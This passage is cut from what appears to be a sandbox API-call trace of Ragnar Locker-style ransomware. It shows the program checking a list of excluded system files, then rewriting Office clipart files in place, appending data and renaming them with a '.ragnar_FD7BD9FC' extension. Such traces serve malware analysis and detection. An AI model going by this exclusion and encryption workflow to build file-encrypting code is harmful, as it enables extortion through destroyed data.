lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.428] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.428] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.428] GetProcessHeap () returned 0x580000 [0082.428] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.428] CloseHandle (hObject=0xf4) returned 1 [0082.428] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" [0082.428] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.ragnar_FD7BD9FC" [0082.428] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.429] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0082.429] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.429] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00084_.WMF" | out: lpString1="HH00084_.WMF") returned="HH00084_.WMF" [0082.429] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned=".WMF" [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="autorun.inf") returned 1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="boot.ini") returned 1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="bootfont.bin") returned 1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="bootsect.bak") returned 1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="bootmgr") returned 1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="bootmgr.efi") returned 1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="desktop.ini") returned 1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="iconcache.db") returned -1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="ntldr") returned -1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="ntuser.dat") returned -1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="ntuser.ini") returned -1 [0082.429] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="thumbs.db") returned -1 [0082.429] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.429] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.429] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.429] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.429] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.429] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.429] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0082.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.430] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2472) returned 1 [0082.430] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x99f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.430] GetProcessHeap () returned 0x580000 [0082.430] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.430] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.432] VirtualAlloc (lpAddress=0x0, dwSize=0x9a8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.432] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.432] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.432] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9a8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9a8, lpOverlapped=0x0) returned 1 [0082.432] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.432] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.432] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9a8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9a8, lpOverlapped=0x0) returned 1 [0082.432] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.432] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.433] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.433] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.433] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.433] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.433] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.433] GetProcessHeap () returned 0x580000 [0082.433] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.433] CloseHandle (hObject=0xf4) returned 1 [0082.433] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" [0082.433] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.ragnar_FD7BD9FC" [0082.433] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.434] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0082.434] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.434] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00231_.WMF" | out: lpString1="HH00231_.WMF") returned="HH00231_.WMF" [0082.434] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned=".WMF" [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="autorun.inf") returned 1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="boot.ini") returned 1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="bootfont.bin") returned 1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="bootsect.bak") returned 1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="bootmgr") returned 1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="bootmgr.efi") returned 1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="desktop.ini") returned 1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="iconcache.db") returned -1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="ntldr") returned -1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="ntuser.dat") returned -1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="ntuser.ini") returned -1 [0082.434] lstrcmpiW (lpString1="HH00231_.WMF", lpString2="thumbs.db") returned -1 [0082.434] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.434] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.434] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.434] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.434] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.434] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.434] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0082.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.436] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2232) returned 1 [0082.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.436] GetProcessHeap () returned 0x580000 [0082.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.436] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.437] VirtualAlloc (lpAddress=0x0, dwSize=0x8b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.437] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.437] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.437] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8b8, lpOverlapped=0x0) returned 1 [0082.438] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.438] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.438] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8b8, lpOverlapped=0x0) returned 1 [0082.438] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.438] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.438] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.438] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.438] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.438] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.438] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.439] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.439] GetProcessHeap () returned 0x580000 [0082.439] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.439] CloseHandle (hObject=0xf4) returned 1 [0082.439] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" [0082.439] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.ragnar_FD7BD9FC" [0082.439] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0082.439] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.439] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00235_.WMF" | out: lpString1="HH00235_.WMF") returned="HH00235_.WMF" [0082.439] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned=".WMF" [0082.439] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.439] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="autorun.inf") returned 1 [0082.439] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="boot.ini") returned 1 [0082.439] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="bootfont.bin") returned 1 [0082.439] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="bootsect.bak") returned 1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="bootmgr") returned 1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="bootmgr.efi") returned 1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="desktop.ini") returned 1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="iconcache.db") returned -1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="ntldr") returned -1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="ntuser.dat") returned -1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="ntuser.ini") returned -1 [0082.440] lstrcmpiW (lpString1="HH00235_.WMF", lpString2="thumbs.db") returned -1 [0082.440] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.440] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.440] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.440] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.440] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.440] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.440] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0082.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.440] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1026) returned 1 [0082.440] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.440] GetProcessHeap () returned 0x580000 [0082.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.441] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.442] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.442] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.442] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.442] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x402, lpOverlapped=0x0) returned 1 [0082.442] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.442] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x402, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.442] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x402, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x402, lpOverlapped=0x0) returned 1 [0082.443] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x402, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.443] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x402, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.443] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.443] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.443] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.443] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.443] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.443] GetProcessHeap () returned 0x580000 [0082.443] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.443] CloseHandle (hObject=0xf4) returned 1 [0082.443] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft 